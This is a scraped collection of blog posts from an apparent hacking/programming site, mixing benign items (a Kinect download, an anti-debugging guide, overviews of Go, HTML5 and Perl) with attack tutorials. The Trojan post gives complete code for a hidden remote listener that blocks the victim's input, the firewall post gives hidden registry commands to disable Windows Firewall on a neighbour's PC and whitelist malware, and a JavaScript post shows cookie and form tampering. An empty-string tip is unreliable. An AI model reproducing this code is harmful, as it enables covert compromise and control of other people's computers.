Download Kinect Virtual Dressing Room - Weekend project

It was getting hot at Doha, Qatar and I was thoroughly bored. And tired.

Out of blue a creative request came by one of my seniors that if I have ever worked on Unity 3D. Though I have some experience with game engines and modeling tools, i though it would be worth a try. As an absolute beginner, I tried my hands on Unity 3D and was able to compile Virtual Dressing Room for Kinect (code courtesy Anthony heckmann - Github). I updated some code and calls (for instance  gettrianglestrip and settrianglesstrip to gettriangles and settriangles) for compatibility with latest release of Unity. As of now, have not tested it with a real Kinect although the executable works fine. Thanks to this project, I also got my hands on Kinesis.io.



You can download the executable from here . As usual, expect no support if you experience bugs as :

  1. Its my weekend project
  2. I have not tested it with a real Kinect.
  3. I have too much on my plate right now.
Password is Prohack

Guide to Anti-Debugging - Overview , Techniques and Approaches

Guide to Anti-Debugging - Overview , Techniques and ApproachesI have been nagged a lot regarding guest posts, and almost 90% of them are related to some news, social media bullshit and half baked security crescendo. Until recently, I was contacted by amiable folks at Infosec Institute with a good article on Anti Debugging. This is an article by  Dejan Lukan, a security researcher at Infosec Institute, in which he discusses the Anti Debugging techniques in an objective and direct manner. I loved the implementation part, reminded me of my rev days (you can learn about how to reverse Winrar or just have a look at a real noobs guide to reverse some more stuff) , and more importantly Dejan explains how to stop (read : slow down) people from reversing your code. Hope you will enjoy it.

Before we begin, we must mention that it’s impossible to completely prevent reversing. What is possible is that we can place as many obstacles on the way as we want to make the process slow enough that reverse engineers will give up. Actually there are hardware implementations where you can buy a black box that attaches to your computer which can do the encryption/decryption for you, but this is far from being used in everyday life.
Techniques to Harden Reverse Engineering

The most basic approaches to harden the reverse engineering of programs are the following [1]:
  1.          Eliminating Symbolic Information
  2.          Obfuscating the Program
  3.          Embedding Antidebugger Code
When eliminating symbolic information, we’re taking the textual information from the program, which means we’re striping all symbolic information from the program executable. In bytecode programs, the executable often contains large amounts of internal symbolic information such as class names, class member names, the names of instantiated global objects. By removing every symbol from the executable or by renaming every symbol, the reverser is faced with a bigger problem than usual because symbol names alone can often be used to gather enough information about what the function does, which simplifies the reverse engineering part.
This can easily be done in C/C++ programs where we only have to append a few compiler flags to the command line that actually compiles the program into the executable. It’s much harder with programming languages like Java and .NET, where those symbols are used internally to reference variables, functions, etc. This is also the reason why Java and .NET programs can easily be converted into a pretty good source code of the original program. We can still strip the symbols from such programs by renaming all the symbols from their meaningful names into meaningless representations, which effectively does the job.
Besides stripping the executable symbols, we can also obfuscate the program. When obfuscating a program, we’re basically changing the code of the program without actually changing the logic behind it, so the program does the same as before but its code is far less readable. Here we have two techniques that can achieve that:
  •  Encoding: With encoding, we must add the decoding instructions that decode the whole program before it’s being run. This can be done by appending the decoding instruction at the end of the program and changing the entry point to point to the decoding instructions. When the program is run, the decoding instructions are executed first, which decodes the whole program into its original form. After that, we must jump to the start of the program and actually run the original instructions as if the encoding didn’t even happen.
  • Packing: When packing the executable, we’re basically reducing the size of the executable as well as encrypting it. When such a program is run, it must first be decoded in memory and then run.
  • By obfuscating the program with nonstandard encoders/packers, we can greatly complicate the task of reverse engineering the executable, but at the end, a persistent reverse engineer will nevertheless be able to bypass that and get the non-obfuscated version of the executable, which can easily be reversed.
Last but not least, we can use an antidebugger code, where we can include a code into the executable that can detect if the program is currently being debugged. If that happens, the program terminates itself prematurely without actually executing the functions that would normally be executed if it wasn’t running under a debugger.
Antidebugging

Before discussing how anti-debugging tricks do their magic, we must first talk about how the debugger is able to debug the program. We know that we can stop and resume the program with the use of either software or hardware breakpoints.
When using software breakpoints, we’re replacing the instruction on which we’ve set the breakpoint with the INT 3 instruction (at least on the x86 architecture), which is a special software interrupt. In this case, we’re passing the value 3 to the instruction INT, which means that we’re generating the software interrupt 3. This causes the function pointed to by the 3rd vector in the interrupt address table (IAT) to be executed. I guess we’re all familiar with the INT 80 interrupt that makes a system call on Linux systems.
The INT 3 instruction temporarily replaces the current instruction in a running program. This is also a way for the debugger to know that a software breakpoint has occurred and the program execution should be stopped. After that, the debugger replaces the INT 3 instruction with the original instruction so the program can continue without the loss of instructions, which can otherwise cause abnormal program behavior.
When we use a hardware breakpoint, it’s the processor’s job to know when the breakpoint has been hit and the program has to be stopped. This is why the program is not modified when a hardware breakpoint is set.
When the breakpoint is hit, the program is stopped and we can safely execute instructions in our favorite debugger. At that point, we can run instructions step-by-step by entering into functions, or by executing them the same time. If we’re interested in what the function does, we need to enter into the function; otherwise we can safely ignore the function and step over it. When stepping through the code, each instruction is executed on its own and then the program is again stopped, so we’re able to analyze what the instruction has just done.

When stepping through the code with a debugger, the Trap Flag (TF) in the EFLAGS register is used. When the TF is enabled, an interrupt will be generated after every executed instruction, so we get the feeling of stepping though the program instruction by instruction.

IsDebuggerPresent

The IsDebuggerPresent is a Windows API function, which we can see on the picture below:
Guide to Anti-Debugging - Overview , Techniques and Approaches

The function doesn’t take any arguments and returns a Boolean value notifying us whether the program is running under a debugger or not. This function can be used to trivially detect whether a debugger is being used to run the program. The function uses the Process Environment Block (PEB) to get information about whether the user-mode debugger is used.
Let’s create a simple program that prints the number 0 or 1 if the debugger is present or not. We can do that by first creating an empty console project under Visual Studio C++ and then changing the code of the main cpp file into the following:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
// isdebuggerpresent.cpp : Defines the entry point for the console application.
//

#include "stdafx.h"
#include <stdio.h>
#include <Windows.h>

int _tmain(int argc, _TCHAR* argv[])
{
    int num;
    if(IsDebuggerPresent()) {
        num = 0;
    }
    else {
        num = 1;
    }

    printf("Number: %d\n", num);

    /* wait */
    getchar();

    return 0;
}

The program prints “Number: 0″ if the debugger is present and “Number: 1″ if the debugger is not. If we run the application under Visual Studio, the program will display the number 0 because it’s being run under a debugger. This can be seen on the picture below:
Guide to Anti-Debugging - Overview , Techniques and Approaches

Let’s also run the program under OllyDbg to be sure that the number 0 is displayed. This can be quickly confirmed by loading the executable program and running it. On the picture below, we can see that the number 0 was printed when the program was run under OllyDbg debugger:

But if we run the same program under normal cmd.exe, it will display the number 1. This can be seen on the picture below:
Guide to Anti-Debugging - Overview , Techniques and Approaches

We can see that the IsDebuggerPresent API function call works as expected, but that the function call is easy to detect and bypass. This is because we can quickly find this function call in the executable and delete it or bypass it. To do this, we can simply open the executable in Ida debugger and check out the Imports table to verify if that function exists somewhere in there. We’re right, the function IsDebuggerPresent is listed among all the imported functions as we can see on the picture below:
Guide to Anti-Debugging - Overview , Techniques and Approaches

This is a clear indication that the executable is using the function to do something different when the debugger is attached to the executable. We can also locate the exact instructions that are used to call that function. The whole Ida graph of the main function that does exactly the same as the main function from the C++ source code above is presented on the picture below:
Guide to Anti-Debugging - Overview , Techniques and Approaches

We can see that, at first, we’re initializing the stack for the function and calling the IsDebuggerPresent function. After that, we’re testing the returned value in eax against itself to determine whether a true or false value was returned. If the eax holds a value different than 0 (1 in our case), then the zero flag will be set and the first box that sets the [ebp+num] to 0 is called. This is exactly what happens now, because we’re running the program under a debugger, but otherwise the block that sets the [ebp+num] to 1 is called. After that, we’re just moving the value of [ebp+num] into the register eax and printing it with the printf function.
If we now set the breakpoint on the call to the IsDebuggerPresent function and rerun the program, the execution will be stopped right where we want it. After the breakpoint has been hit, we can step into the function to see what the function actually does. On the picture below, we can see the function in question:
Guide to Anti-Debugging - Overview , Techniques and Approaches

We can see that the function is pretty simple: we’re loading the address of the currently active thread (TIB) in the register eax and then accessing the structure member that’s located at the 0×30 offset; the PEB data structures lies at that offset. After that, we’re loading the address of PEB in eax and then accessing its data member at 0×2 offset, which holds the data member named BeingDebugged. Thus, we’ve successfully taken a look at what the IsDebuggerPresent function actually does and how it does it. We can see that it’s very simple and not really hard to bypass.

We can determine that IsDebuggerPresent is being used when we try to reverse engineer an executable and the program terminates prematurely, a different execution path is taken, or something else unexpected happens. In such cases, we must first check the Imports table if the IsDebuggerPresent function is being called anywhere in the executable. If that is the case, we can simply delete the instructions that call the IsDebuggerPresent function call, so it won’t bother us when reversing the executable.
On the other hand, if we’re developing a program and we would like to use the IsDebuggerPresent function call, we can copy the above instructions directly into our code, so that we’re not actually calling the IsDebuggerPresent function directly, but using its function body instructions to figure out whether the debugger is being used to run the executable. This is just another trick so that reverse engineers won’t immediately notice the use of IsDebuggerPresent function call and will make the debugging slightly more complicated.
Conclusion

For a deeper understanding of reverse engineering, check out the reverse engineeringtraining course offered by the InfoSec Institute. In this article we’ve seen a few techniques to harden the reverse engineering process. The technique easiest to bypass is symbol elimination where we have to delete all the symbols presented in the executable. This effectively makes the names of the functions unavailable when debugging, which leaves it up to the debugger to properly name the functions. Another technique is program obfuscation, which can be a pretty simple operation like xoring the whole executable then running it, but it can also be pretty complicated. Things get further complicated if we’re using obfuscation with the anti-reversing techniques, which detects if the program is being reversed and terminates the program prematurely if so, greatly hardening the reverse engineering of the executable.
References:
[1]: Reversing: Secrets of Reverse Engineering, Eldad Eilam.

5 Wrong ways to check empty strings

5 Wrong ways to check empty strings
It is one of the common mistake that people compare a string with “” or String.Empty in VB.Net or C# to find its empty. Here are few examples.
// C# Wrong Ways
  1. if ( s == “” )
  2. if ( s == string.Empty )
  3. if ( s.Equals(”") )
  4. if ( s.Equals ( String.Empty)
  5. if ( string.Equals(s,”")
  6. if ( string.Equals ( s,String.Empty ))
So what’s the correct way to do it ? Check for length too.
// [ C# ] Correct Way
if ( s.Length == 0 )

Google GO – New programming front

Google Go is a new language developed by Google Inc which was first officially announced in November 2009. It’s a Google GO – New programming front compiled, garbage collected concurrent programming language. Language veterans Robert Griesemer, Rob Pike, and Ken Thompson initially started to design Go based on previous work related to the Inferno operating system in September 2007. Go has been deployed to compile on UNIX and Linux platform however as of the launch, Go was not considered to be ready for adoption in production environments.

With ken co creating Go,it has a syntax closer to C except for the type declarations; other syntactical differences are the missing parentheses around for and if expressions. Go has been designed with an aim to have exceptionally fast compilation times, even on modest hardware. Some of the features missing in Go as of now are exception handling, type inheritance, generic programming, assertions, method overloading and pointer arithmetic.

Here is an example of a Hello world program in Go -

package main

import "fmt"

func main()

{

fmt.Printf("Hello, World\n")

}

Go can be compiled using 2 compilers as of now - 6g (and its supporting tools, collectively known as gc) are in C, using yacc/Bison for the parser and Gccgo,a compiler with a C++ front-end with a recursive descent parser coupled to the standard GCC backend.

The industry reaction for Go has been mixed, with some veterans raising its fast compilation and others who criticized lack of features in it. judging by the reaction,one can simply say that Go is just not mature enough to be deployed to industry ready environments and has some rough edges to smooth out.

 

 

PS : Like this article ? You can always support me by buying me a coffee or You can always try some of the cool merchandize from PROHACK.

POSTED BY XERO ALL RIGHTS RESERVED.

HTML 5 – The World Recons

The world and the devs are waiting eagerly for the HTML5.HTML 5 is the next major revision of the core markup language of the World Wide Web, HTML  HTML 5(hypertext markup language) and promises never before seen features and integrates multimedia applications and security more tighter than ever.HTML 5 specifies two variants of the same language, a "classic" HTML (text/html) variant known as HTML5 and an XHTML variant known as XHTML5. This is the first time that HTML and XHTML have been developed in parallel. HTML 5 is said to become a game-changer in Web application development, one that might even make obsolete such plug-in-based rich Internet application (RIA) technologies as Adobe Flash, Microsoft Silverlight, and Sun JavaFX.

You can watch the HTML5 demo below and I was amazed to see the realtime 3D graphics in my browser.

HTML 5 will change the world or internet browsing,and lets pray it does.

Keep Learning

 

POSTED BY XERO.ALL RIGHTS RESERVED.

Make a simple Trojan in VB

Visual Basic is an easy programming language.So easy that most of advanced programmers don't even compare it to behemoths like C/Pascal/C++/PERL etc.But it seriously packs punch due to its ease in programming and predefined Program a Simple Trojan in VBprocedures.Earlier wrote on how to lock keyboard and mouse using VB. This time I will be discussing on how to write a simple trojan in VB .Writing a Trojan is a lot easier than most people think. All it really involves is two simple applications both with fewer than 100 lines of code. The first application is the client or the program that one user knows about. The second is the server or the actual “trojan” part. I will now go through what you need for both and some sample code. 

Server
The server is the Trojan part of the program. You usually will want this to be as hidden as possible so the average user can’t find it. To do this you start by using

Private Sub Form_Load()
     Me.Visible = False
End Sub

This little bit of code makes the program invisible to the naked eye. Now we all know that the task manager is a little bit peskier. So to get our application hidden from that a little better we make our code look like this.

Private Sub Form_Load()
     Me.Visible = False
     App.TaskVisible = False
End Sub

So now, we have a program that is virtually invisible to the average user, and it only took four lines of code. Now all of you are thinking that this tutorial sucks right about now so lets make it a lot better by adding functions to our Trojan!
The first thing we want to do is make it be able to listen for connections when it loads. So in order to do this we need to add a Winsock Control. I named my control win but you can name yours what ever.

Now to make it listen on port 2945 when the Trojan starts up we make our code look like this.

Private Sub Form_Load()
     Me.Visible = False
     App.TaskVisible = False
     win.LocalPort = 2945
     win.RemotePort = 455
     win.Listen
End Sub

This code will set the local open port to 2945 and the port it sends it to is 455. So now, we have a program that listens but still doesn’t do anything neat. Lets make it block the input of the user completely when we tell it to!

To do this little devious thing we need to add a module with the following code

Public Declare Function BlockInput Lib "user32" (ByVal fBlock As Long) As Long

Then we add this code to our main form:

Private Sub win_ConnectionRequest(ByVal requestID As Long)
     win.Close
     win.Accept requestID
End Sub

Private Sub win_DataArrival(ByVal bytesTotal As Long)
    win.GetData GotDat
    DoActions (GotDat)
End Sub

The code in the module is called a windows API. It uses a dll file to do tasks that we want. Now this code still won’t block the users input but we are very close. We now need to program the DoActions function that we called on our main form. In case you were wondering the code that we added to the form does two different things. The first sub makes it so all connection requests are automatically accepted. The second sub makes it so all data is automatically accepted and it then passes all of the data to the function DoActions which we are about to code.

For the DoActions code, we want to make a public function in the module. So add this code to the module and we are about done with the server of the Trojan!

Public Function DoActions(x As String)
     Dim Action
     Select Case x
             Case "block"
             Action = BlockInput(True)
     End Select
End Function

Ok now we have a program that when the data “block” is sent to it on port 2945 it will block the users input. I made a Select Case statement so it is easy to modify this code to your own needs later on. I recommend adding a unblock feature of your own. To do that just call the BlockInput function with the argument False instead of true.

Main Form

Private Sub Form_Load()
     Me.Visible = False
     App.TaskVisible = False
     win.LocalPort = 2945
     win.RemotePort = 455
     win.Listen
End Sub

Private Sub win_ConnectionRequest(ByVal requestID As Long) 
     win.Close
     win.Accept requestID
End Sub

Private Sub win_DataArrival(ByVal bytesTotal As Long)
     win.GetData GotDat
     DoActions (GotDat)
End Sub

Remember to add your winsock control and name it to win if you use this code.

That’s all there is to the server side or Trojan part of it. Now on to the Client.

Client

The client will be what you will interact with. You will use it to connect to the remote server (trojan) and send it commands. Since we made a server that accepts the command of “block” lets make a client that sends the commandblock”.

Make a form and add a Winsock Control, a text box, and three buttons. The Text box should be named txtIP if you want it to work with this code. In addition, your buttons should be named cmdConnect, cmdBlockInput, and cmdDisconnect. Now lets look at the code we would use to make our Client.

Private Sub cmdConnect_Click()
     IpAddy = txtIp.Text
     Win.Close
     Win.RemotePort = 2945
     Win.RemoteHost = IpAddy
     Win.LocalPort = 9999
     Win.Connect
     cmdConnect.Enabled = False
End Sub

Private Sub cmdDisconnect_Click()
     Win.Close
     cmdConnect.Enabled = True
End Sub
Private Sub cmdBlockInput_Click()
     Win.SendData "block"
End Sub

That is the code for the client. All it does is gets the Ip Adress from txtIp and connects to it on remote port 2945. Then when connected you can send the “block” data to block off their input.

This completes the tutorial to make a simple Trojan in Visual Basic.

 

Tutorial Courtesy – Go4Expert . VISHAL SHARMA

Posted by XERO . ALL RIGHTS RESERVED.

 

Disable Windows Firewall using Visual Basic

Need to disable the firewall of your neighbor ? And you have physical access to his computer ? Or just want to learn it forDisable Windows Firewall using Visual Basic fun ? I required disabling the XP firewall for so reason and I was able to do it in one line of code using command prompt to enter registry values. Also, this code disables it,but it doesn't kill it.So that If the person notices, it can be turned   back on (most prominent and common viruses today first disable the firewall,so he will not be surprised unless he is a plain dumb). While the following codes disable the firewalls,you can be creative if you can design a simple Trojan and embed this code in it. Experiment and learn.

Please note due to display constraints,the code here may not be displayed as in Visual Basic IDE,It will be wrapped up in several lines like the one given below..but you get the idea..

Shell "cmd /c REG ADD HKLM\System\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile /v ""EnableFirewall"" /t REG_DWORD /d ""0"" /f", vbHide

Here is another piece of code that will do it. Instead of disabling it, it allows exceptions to the firewall, and adds a program as an exception.

Public Sub FirewallException(Path As String)

Shell "cmd /c REG ADD HKLM\System\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile /v ""DoNotAllowExceptions"" /t REG_DWORD /d ""0"" /f", vbHide

Shell "cmd /c REG ADD HKLM\System\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List /v """ & Path & """ /t REG_SZ /d """ & Path & ":*:Enabled:Windows Messanger"" /f", vbHide

End Sub

Put the above code into a module. To use, put this in your code to add itself to the exception list. You can call this code by using this code -

Call FirewallException(App.Path & "\" & App.EXEName & ".exe")

Also,you can plainly delete some important files using VB6 if you really want to trash his windows..more on this next time.Or If you want to program more prank codes,you can read this article about prank Programming

Till then,Keep (prank) programming :)

Disable Windows Firewall using Visual Basic -Read More programming articles at PROHACK

Posted by XERO . DARKTRIX .ALL RIGHTS RESERVED .

 

How to Learn Perl

more programming tutorials in programming sectionIn computer programming, Perl is a high-level, general-purpose, interpreted, dynamic programming language.   Perl was originally developed by Larry Wall, a linguist working as a systems administrator for NASA, in 1987, as a general purpose Unix scripting language to make report processing easier.Perl borrows features from other programming languages including C, shell scripting (sh), AWK, sed and Lisp.The language provides powerful text processing facilities without the arbitrary data length limits of many contemporary Unix tools,facilitating easy manipulation of text files. It is also used for graphics programming, system administration, network programming, applications that require database access and CGI programming on the Web. Perl is nicknamed "the Swiss Army chainsaw of programming languages" due to its flexibility and adaptability.Learning a programming language like Perl can seem quite daunting. It's a complex and powerful language, however, it's not that difficult to pick up. With the right tutorials and expert guidance in programming forums, you will be on your way to writing complex and even profitable Perl programs.Lets get started ..

Steps

  • Download and install a Perl interpreter - ActivePerl is a good choice for Windows users. If you are using Linux or Mac OS X, Perl may already be installed on your system. To check, open a terminal and type perl -v into the command line. If you get a message stating the current version of Perl, then Perl is installed on your system. If you get a "Command not found" error, you will have to install Perl yourself, either by installing a package for your operating system, or by building from source.
  • Find some good tutorials that teach the basics of Perl - There are many books and online references that will teach the basics of Perl. Learning Perl is a good choice for those who are unfamiliar with Perl, or even programming in general. People who already know the basics of programming may want to look at Programming Perl, which is designed for those who are already experienced programmers. Programming Perl is also a good book to read after reading Learning Perl.
  • Read the documentation - In addition with tutorials, Perl comes with many pages worth of documentation that can be accessed inside your terminal with the perldoc command. You can also browse the documentation online by visiting http://perldoc.perl.org/
  • Practice! - Unfortunately, just reading the books will not make you a good programmer. In order to really learn Perl, you need to write it. Many books and tutorials have example code to try out, as well as exercises to solve. Even though it can be tedious writing sample programs, it builds a good foundation which more advanced programming techniques can use.
  • Give back to the Perl community - One of the best ways to help people out and improve your programming skills is to give back to the Perl community. One way is by writing modules for CPAN. This allows you to release your Perl modules to the world, help others out by writing libraries that make their lives easier, and learn a bit about packaging software too!

Tips

  • In addition to being a command-line language, Perl can also be used to write Web applications (also known as CGI scripts). However, this requires the additional knowledge of HTML, CGI, and general server programming, so it is not covered here.
  • When reading tutorials, try not to jump ahead of yourself, don't get overwhelmed at long blocks of code, go one step at a time, and focus. Do the examples until you understand them before moving on.
  • Have fun! It takes a while to become really good at it, so pace yourself.
  • If you really like the language and want to meet other local programmers, try seeing if there is an active Perl Mongers group near your hometown.
  • Check your local library and see whether they have any Perl books. Since programming books can sometimes cost $30-50, it can save you money in the long run.

Downloads

 

Till then,Keep programming and keep learning.

 

posted by XERO . Wikihw,Wikipedia and wiki community. A Zillion thanks to perl community and programmers out there.

Basics of Javascript Injection

Basics of Javascript Injection
JavaScript is a widely used technology within websites and web based applications. JavaScript can be used for all sorts of useful things and functions. But along with this comes some additional security issues that need to be thought of and tested for. JavaScript can be used not only for good purposes, but also for malicious purposes.JavaScript injection is a nifty little technique that allows you to alter a sites contents without actually leaving the site.This can be very usefull when say, you need to spoof the server by editing some form options.JavaScript injection is a fun technique that allows you to change a websites content without leaving the site, reloading the page, or saving the site to your desktop. It can be very useful when you need to change hidden data before you send it to the server. Let’s start with some basic injection techniques.

I. Injection Basics
JavaScript injections are run from the URL bar of the page you are visiting. To use them, you must first completly empty the URL from the URL bar. That means no "http://" or whatever.
JavaScript is run from the URL bar by using the javascript: protocol. In this tutorial I will only teach you the bare bones of using this, but if you are a JavaScript guru, you can expand on this using plain old JavaScript.
The two commands covered in this tutorial are the alert(); and void(); commands. These are pretty much all you will need in most situations. For your first JavaScript, you will make a simple window appear, first go to any website and then type the following into your URL bar:

javascript:alert(’Hello, World’);
You should get a little dialog box that says “Hello, World”. This will be altered later to have more practical uses.
You can also have more than one command run at the same time:
javascript:alert(’Hello’); alert(’World’);
This would pop up a box that said ‘Hello’ and than another that says ‘World’.

II. Cookie Editing
First off, check to see if the site you are visiting has set any cookies by using this script:
javascript:alert(document.cookie);
This will pop up any information stored in the sites cookies. To edit any information, we make use of the void(); command.
javascript:void(document.cookie=”Field = myValue”);
This command can either alter existing information or create entirely new values. Replace “Field” with either an existing field found using the alert(document.cookie); command, or insert your very own value. Then replace “myValue” with whatever you want the field to be. For example:
javascript:void(document.cookie=”Authorized=yes”);
Would either make the field “authorized” or edit it to say “yes”… now whether or not this does anything of value depends on the site you are injecting it on.
It is also useful to tack an alert(document.cookie); at the end of the same line to see what effect your altering had.

III. Form Editing
Sometimes, to edit values sent to a given website through a form, you can simply download that html and edit it slightly to allow you to submit what you want. However, sometimes the website checks to see if you actually submitted it from the website you were supposed to. To get around this, we can just edit the form straight from javascript. Note: The changes are only temporary, so it’s no tuse trying to deface a site through javascript injection like this.
Every form on a given webpage (unless named otherwise) is stored in the forms[x] array… where “x” is the number, in order from top to bottom, of all the forms in a page. Note that the forms start at 0, so the first form on the page would actually be 0, and the second would be 1 and so on. Lets take this example:
<form action=”http://www.website.com/submit.php” method=”post”>
<input type=”hidden” name=”to” value=”admin@website.com”>
Note:Since this is the first form on the page, it is forms[0]
Say this form was used to email, say vital server information to the admin of the website. You can’t just download the script and edit it because the submit.php page looks for a referer. You can check to see what value a certain form element has by using this script:
javascript:alert(document.forms[0].to.value)
This is similar to the alert(document.cookie); discussed previously.
In this case, It would pop up an alert that says “admin@website.com”
So here’s how to Inject your email into it. You can use pretty much the same technique as the cookies editing shown earlier:
javascript:void(document.forms[0].to.value=”email@nhacks.com”)
This would change the email of the form to be “email@nhacks.com”.
Then you could use the alert(); script shown above to check your work. Or you can couple both of these commands on one line.
That completes this post about JavaScript injection as you can see all kinds of fun things can be done with these techniques. Use your imagination and with a little work you can test your site and keep it secure from malicious hackers.

Posted by XERO . Thanks to NeoXdyne , testingsecurity.com